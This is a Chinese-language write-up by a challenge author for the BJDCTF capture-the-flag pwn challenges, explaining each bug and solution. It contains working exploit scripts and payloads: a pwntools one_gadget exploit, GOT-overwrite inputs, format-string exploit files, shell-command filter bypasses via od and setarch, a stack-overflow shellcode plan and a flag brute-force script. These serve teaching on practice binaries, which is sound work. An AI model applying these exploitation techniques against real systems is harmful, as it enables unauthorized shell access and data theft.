前言
最爲第一屆BJDCTF的參賽選手和本屆比賽的二進制出題人+運維,真心祝願BJDCTF越辦越好!(說多了怕被打)
還是要囉嗦一句,本次BJDCTF爲七校聯盟萌新賽,同時在BUUCTF對外開發,感謝趙師傅的大力支持,以及各位外校師傅的捧場。
第一次出題,pwn貌似出難了,其實主要是想考察下linux基礎,在這裏給各位萌新們道歉啦。
不過還是希望大家能打下堅實的linux基礎~
p.s. ret2text3,4&YDS是芝士師傅出的,算賬不要來找我鴨
一把梭(one_gadget) - TaQini
考察點:one_gadget
題目給出了printf
的地址,由此可算得libc基址,然後找one_gadget
、計算libc中one_gadget
地址
printf("Give me your one gadget:");
__isoc99_scanf("%ld", &v4);
v5 = v4;
v4();
v4
是個函數指針,scanf
的時候把one_gadget
轉成十進制輸入即可getshell。
#!/usr/bin/python
#__author__:TaQini
from pwn import *
local_file = './one_gadget'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = './libc.so.6'
if len(sys.argv) == 1:
p = process(local_file)
libc = ELF(local_libc)
elif len(sys.argv) > 1:
if len(sys.argv) == 3:
host = sys.argv[1]
port = sys.argv[2]
else:
host, port = sys.argv[1].split(':')
p = remote(host, port)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(p,cmd)
# gadget
one_gadget = 0x106ef8 #execve("/bin/sh", rsp+0x70, environ)
# elf, libc
printf_libc = libc.symbols['printf']
ru('here is the gift for u:')
printf = int(rc(14),16)
info_addr('printf',printf)
libc_base = printf-printf_libc
info_addr('libc_base', libc_base)
info_addr('one gadget', one_gadget+libc_base)
ru('gadget:')
sl(str(one_gadget+libc_base))
p.interactive()
Imagin的小祕密(secret) - TaQini
考察點:緩衝區溢出、GOT表覆寫
.data:000000000046D080 ; char buf[]
.data:000000000046D080 buf db 'Y0ur_N@me',0
.data:000000000046D080
.data:000000000046D08A align 10h
.data:000000000046D090 times dq offset unk_46D0C0
.data:000000000046D090
.data:000000000046D090 _data ends
程序開頭read(0, buf, 0x16)
,實際上buf
大小隻有0x10,後6字節會覆蓋times
變量
void __noreturn sub_401301()
{
puts("#====================================#");
puts("# GAME OVER #");
puts("#====================================#");
sub_4011C2("# BYE BYE~ #", 18LL);
printf(buf, 18LL);
puts(&byte_46B0A7);
puts("@====================================@");
exit(0);
}
猜錯退出程序時,有個printf
打印buf
內容,查看got表,發現printf
和system
只差0x10
[0x46d038] system@GLIBC_2.2.5 -> 0x401076 (system@plt+6) ◂— push 4
[0x46d040] printf@GLIBC_2.2.5 -> 0x401086 (printf@plt+6) ◂— push 5
所以把times
覆蓋成got[printf]
buf='/bin/sh;' ; got[printf] -> system
times
每猜對一次自減1,控制猜對的次數,即可構造出system("/bin/sh")
exp:
sl('/bin/sh;AAAAAAAA'+p32(0x46d040))
secret = [18283,11576,17728,15991,12642,16253,13690,15605,12190,16874,18648,10083,18252,14345,11875]
for i in secret:
send_secret(i)
send_secret(66666)
只用找出前0x10個secret即可,不過,硬要找全10000也不難,正則匹配一下就好 。
Test your ssh(test) - TaQini
由於Ubuntu 14之後,通過egid執行/bin/sh的權限被ban了
所以這次比賽ssh靶機用的全是Ubuntu 14.04
考察點:linux基礎
這題設置的目的是測試ssh連接顯示編碼什麼的是否正常,但是直接白給不太好,就加了個字符過濾。
看源碼,可知過濾了以下字符:
n e p b u s h i f l a g | / $ ` - < > .
於是就找可用的命令唄,先看下環境變量PATH
,然後grep
搜一下
$ env $PATH
$ ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games /usr/local/games | grep -v -E 'n|e|p|b|u|s|h|i|f|l|a|g'
發現od
倖存
ctf@f930cab87217:~$ ./test | grep 045102 -C 2
od *
uid=1000(ctf) gid=1000(ctf) egid=1001(ctf_pwn) groups=1000(ctf)
0000000 045102 075504 067145 067552 057571 067571 071165 070137
0000020 067167 063537 066541 076545 077412 046105 001106 000401
0000040 000000 000000 000000 000000 001000 037000 000400 000000
使用od
輸出flag,然後解八進制即可
非預期解
x86_64
命令沒有過濾掉,可以直接拿shell
原理如下
ls -al /usr/bin/x86_64
lrwxrwxrwx 1 root root 7 8月 23 2019 /usr/bin/x86_64 -> setarch
x86_64
是指向setarch
命令(soft link),查看一下setarch
的文檔,如下:
setarch - change reported architecture in new program environment and/or set personality flags
...
The default program is /bin/sh.
挑食的小蛇(snake) - TaQini
考察點:字符串截斷 or 耐心
背景知識:c語言中字符串以’\x00’爲結尾
把程序下載下來,調試,發現Name
和flag
相鄰,相差0x100字節
pwndbg> p &Name
$1 = (<data variable, no debug info> *) 0x5555555592e0 <Name>
pwndbg> p &flag
$2 = (<data variable, no debug info> *) 0x5555555593e0 <flag>
查看源碼:
void getName(){
char buf[0x100];
printf("請輸入玩家暱稱(僅限英文)[按回車開始遊戲]:");
scanf("%s",buf);
strncpy(Name, buf, 0x100);
}
輸入暱稱時會copy 0x100個字節到Name
,所以只要輸入長度爲0x100的暱稱,Name
的結尾就不會有’\x00’,遊戲顯示玩家暱稱時就會把Name
和flag
一起打印出來。
# 正常情況
Name: 'TaQini\x00'
flag: 'flag{xxxx}\x00'
# 非正常情況
Name: 'TaQini.......flag\x00'
p.s.這題玩到3000分也可解,比賽時好多師傅硬懟出來的…嗯…耐心也是一名pwn手的基本素養
貪喫的小蛇(snake2) - TaQini
考察點:scanf
這題的設計參考pwnable.kr的passcode
題解詳見:https://blog.csdn.net/smalosnail/article/details/53247502
文章題目: scanf忘記加’&'危害有多大?詳解GOT表覆寫攻擊技術
拿到代碼後找不同,看看那裏和snake1
不一樣
-
獲勝分數提高了,硬玩兒是玩兒不出來的
printf(" 控制Imagin喫豆豆,達到300000分\n");
-
getName
讀暱稱的長度變短了,不能利用snake1
的解法void getName(){ char buf[0x100]; printf("請輸入玩家暱稱(僅限英文)[按回車開始遊戲]:"); scanf("%s",buf); strncpy(Name, buf, 0x10); }
-
多了一個調查問卷功能
void questionnaire(void){ int Goal; char Answer[0x20]; puts("你收到了一份來自TaQini的調查問卷"); printf("1.Snake系列遊戲中,貪喫蛇的名字是:"); scanf("%20s",Answer); printf("2.Pwn/Game真好玩兒[Y/n]:"); scanf("%20s",Answer); printf("3.你目標的分數是:"); scanf("%d",Goal); }
通過對比可知,snake1
的漏洞點在getName
,snake2
的漏洞點在questionnaire
void GameRun(void) {
unsigned int GameState=1;
score=0;
Level=1;
printRule();
getName();
questionnaire();
PSnake jack=Init();
//...
}
查看questionnaire
的上一層函數,可見getName
和questionnaire
用是同一片棧空間
按照參考文章中的做法,利用scanf
覆寫got表爲後門system("/bin/sh")
的地址,即可getshell
比如,後續的Init
函數中調用了malloc
,因此可以覆寫malloc
的got表:
PSnake head=(PSnake)malloc(sizeof(Node));
這題malloc
的got表地址0x405078
都是可見字符,解題時甚至不用寫腳本
name = 'a'*220+'xP@' # xP@ <- (malloc.got)
goal = 4201717 # <- backdoor
鵝螺獅的方塊(els) - TaQini
考察點:格式化字符串
打開遊戲,發現底部有個留言板十分矚目,找到對應源碼,發現存在格式化字符串漏洞:
/* 實時顯示留言 */
fmsg = fopen("./msg","r+");
if (NULL == fmsg) exit(0);
char message[0x100] = {0};
fread(message,0x80,1,fmsg);
fprintf(stdout,"\033[22;1H留言:");
fprintf(stdout,message);
那麼本題的主要漏洞就是他了。
知己知彼,百戰不殆。要想pwn掉els,需要先對程序瞭解個大概。於是瀏覽源碼:
- 程序開頭讀取本地record文件,加載變量最高記錄,隨後判斷最高分數,大於閾值就給shell
/* 讀取文件的最高記錄 */ fp = fopen("./record","r+"); if (NULL == fp) { /* * 文件不存在則創建並打開 * "w"方式打開會自動創建不存在的文 */ fp = fopen("./record","w"); } fscanf(fp,"%u",&maxScore); if(maxScore > 666666) { puts("乾的漂亮!獎勵鵝羅獅高手shell一個!"); system("/bin/sh"); exit(0); }
- 實時顯示留言功能:讀取msg文件,打印留言,其中
fprintf(stdout,message)
存在漏洞/* 實時顯示留言 */ fmsg = fopen("./msg","r+"); if (NULL == fmsg) exit(0); char message[0x100] = {0}; fread(message,0x80,1,fmsg); fprintf(stdout,"\033[22;1H留言:"); fprintf(stdout,message);
- 消除方塊功能:更新最高分數,將最高分寫入record文件
void checkDeleteLine(void) { // ... /* 記錄最高分 */ if (score > maxScore) { maxScore = score; /* 保存最高分 */ rewind(fp); fprintf(fp,"%u\n",maxScore); } //...
魯迅曾經說過:
一切皆文件
所以上述代碼的瀏覽主要以msg
和record
這兩個文件爲線索。
現在思路就很明朗了,通過格式化字符串漏洞修改maxScore
,消除一行方塊,觸發歷史記錄更新,改寫record
文件,重新開始遊戲,getshell。
關於文件權限,可以通過
ls -al
查看:
msg
可讀可寫,record
可讀,只有運行els程序時可寫
由於開了地址隨機化,maxScore
的地址不固定,但是這在格式化字符串漏洞面前都不是事兒,先泄漏,再改寫即可。exp如下:
leak.py
#!/usr/bin/python
payload = "%73$p"
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()
exp.py
#!/usr/bin/python
from struct import pack
from sys import argv
start = eval(argv[1])
score = start-0x1180+0x53ac
# hex(666666) = 0xa2c2a
payload = "%20c%8$n" + pack('<Q', score+2)
print hex(score)
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()
上述兩個文件放到/tmp
目錄下,先執行leak拿到程序基址,再通過exp計算maxScore
地址並改寫。消除一行方塊後觸發記錄更新,遊戲結束後maxScore
寫入文件,再次打開遊戲即可getshell。
營救Imagin(rci) - TaQini
考察點:linux基礎,ls命令
本題的設計源於HGame2020 - findyourself
題解鏈接:http://taqini.space/2020/02/12/2020-Hgame-pwn-writeup/#findyourself
背景就不多介紹了,imagin被關進了隨機創建的48個房間之一,這時有一次執行系統命令的機會,經過層層過濾,只有ls命令可用,使用ls獲取一些線索後,就要輸入imagin所在的正確房間號了,答對後獲得第二次執行系統命令的機會,可以getshell。
在hgame-fys中第一次命令執行是通過 ls -l /proc/self/cwd
獲取的當前目錄,而本題沒有給/proc
,所以要另闢蹊徑,也就是本題的考察點inode
了。
inode
是linux用於文件儲存的索引節點,操作系統大家應該都學過:
系統讀取硬盤的時候,不會一個個扇區的讀取,這樣效率太低,而是一次性連續讀取多個扇區,即一次性讀取一個“塊”(block)。這種由多個扇區組成的“塊”,是文件存取的最小單位。“塊”的大小,最常見的是4KB,即連續八個sector組成一個block。
文件數據都儲存在“塊”中,那麼很顯然,我們還必須找到一個地方儲存文件的“元信息”,比如文件的創建者、文件的創建日期、文件的大小等等。這種儲存文件元信息的區域就叫做inode
摘自:https://blog.csdn.net/xuz0917/article/details/79473562
也就是說inode
和文件是一一對應的,魯迅曾經說過:
一切皆文件
目錄也是文件,也有他對應的inode,於是,本題的重點來了——ls命令常用參數(敲黑板)
ls -l # 以列表格式顯示
ls -a # 不隱藏以.開頭的文件
ls -i # 顯示文件inode
衆所周知,當前目錄文件用 .
表示,所以輸入 ls -ali
命令即可顯示當前目錄的inode
號
也就是說,imagin所在房間的inode
已知了,但是 .
是相對路徑,題目中要求驗證絕對路徑
於是想辦法查看絕對路徑,我們已知房間是在/tmp目錄下的,所以不難想到,再開一個shell,輸入 ls -ali /tmp
顯示/tmp目錄下所有文件inode
,根據唯一的inode
找到對應房間號,即可通過check1。
本題重點結束。
check2 也過濾了一些字符,可以通過輸入 $0
繞過。
我們不一樣(diff) - TaQini
考察點:棧溢出
題目是彙編寫的,所以就沒給源碼,做題時需要把文件下載到本地分析。
下載方法挺多的,這裏說兩種比較直接的方法:
base64
編碼後複製粘貼到本地scp
命令 使用ssh協議傳輸文件
用過diff
命令的師傅不難看出,這題是一個縮減版的diff
命令,功能是比較兩個文件,輸出兩文件內容不相同的那一行的行號。分析程序,打開文件部分沒得說,直接看比較函數:
int __cdecl compare(int a1, int fd)
{
char v2; // al
int v4; // [esp+0h] [ebp-80h]
unsigned int i; // [esp+4h] [ebp-7Ch]
char addr[120]; // [esp+8h] [ebp-78h]
v4 = 0;
JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
{
v2 = buf1[i];
if ( v2 != addr[i] )
return v4 + 1;
if ( v2 == 10 )
++v4;
}
return 0;
}
addr
長度120,read
讀了128字節,很明顯的棧溢出。此外buf1
具有可執行權限:
pwndbg> p &buf1
$2 = (<data variable, no debug info> *) 0x804a024 <buf1>
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x804a000 r-xp 2000 0 /xxx/diff
0x804a000 0x804b000 rwxp 1000 2000 /xxx/diff
0xf7ffa000 0xf7ffd000 r--p 3000 0 [vvar]
0xf7ffd000 0xf7ffe000 r-xp 1000 0 [vdso]
0xfffdc000 0xffffe000 rwxp 22000 0 [stack]
打開的第一個文件數據讀入buf1中,打開的第二個文件數據讀入addr
因此,在第一個文件中存shellcode
,在第二個文件中存payload
,將返回地址覆蓋爲buf1
地址,即可getshell。
二進制一家親(diff2) - TaQini
考察點:字符上溢出、跑腳本爆破
題目來源:巨佬keer的diff非預期解+我兩年前的彙編實驗
代碼鏈接:https://github.com/TaQini/AssemblyLanguage/tree/master/lab/7
二進制,一家親。
diff
的預期解是緩衝區溢出,硬是讓keer師傅找到了一處字符溢出…直接把flag給爆破出來了…tql…於是,我把
diff
的緩衝區溢出的洞補上,將之魔改成爲re題目一道。
既然是re,就要想怎樣解出flag。diff
程序可以讀flag
和另一個文件,就叫做ktql
好啦,並且會對這兩個文件進行比較,所以思路就是變化ktql
、爆破flag
。
比較字符函數如下:
int compare()
{
char v0; // al
unsigned int i; // [esp+0h] [ebp-8h]
int v3; // [esp+4h] [ebp-4h]
v3 = 0;
for ( i = 0; buf2[i] + buf1[i] && i < 0x400; ++i )
{
v0 = buf1[i];
if ( v0 != buf2[i] )
return v3 + 1;
if ( v0 == 10 )
++v3;
}
return 0;
}
乍一看沒毛病,其實不然。for的循環條件:
buf2[i] + buf1[i] && i < 0x400;
一般師傅:char
+ char
= char
沒毛病
keer師傅:char
+ char
= 溢出!懟他!
我們知道char
型變量佔1個字節,相當於unsigned byte
,表示範圍是0x0-0xff,那麼兩char相加的範圍就是0x0 - 0x1fe ,可是char
型只能存儲1個字節的數據,因此兩char
相加產生的進位就會被忽略。舉個栗子,0x7d+0x83=0x100->0x0。get到了這一點,再看for循環條件,就能看出些端倪了。
buf2[i] + buf1[i] = 0x100
時會終止for循環,並且返回0。按程序正常的流程走,除非buf1
和buf2
完全相同,否則不可能返回0,而現在只要buf1
和buf2
任意位置對應的字節相加等於0x100,compare
也會返回0。
返回 0 時程序打印 “一樣”
返回值非0時 程序打印 行號
根據不同的返回值,就可以對flag進行逐個字節的爆破了,腳本如下:
#!/usr/bin/python
#__author__:TaQini
from subprocess import *
fix = ''
while 1:
for i in range(0x100):
payload = fix+chr(i)
f = open('/tmp/ktql','w+')
tmp = f.write(payload)
f.close()
p = Popen(['/home/ctf/diff','/tmp/ktql','/home/ctf/flag'],stdout=PIPE)
res = p.stdout.read()
if res != '1':
# print res,chr(0x100-i)
print fix
fix+=chr(0x100-i)
break
End
上述所有題目復現地址 https://buuoj.cn/ or http://ctf.taqini.space/
更多內容可以關注我的個人博客~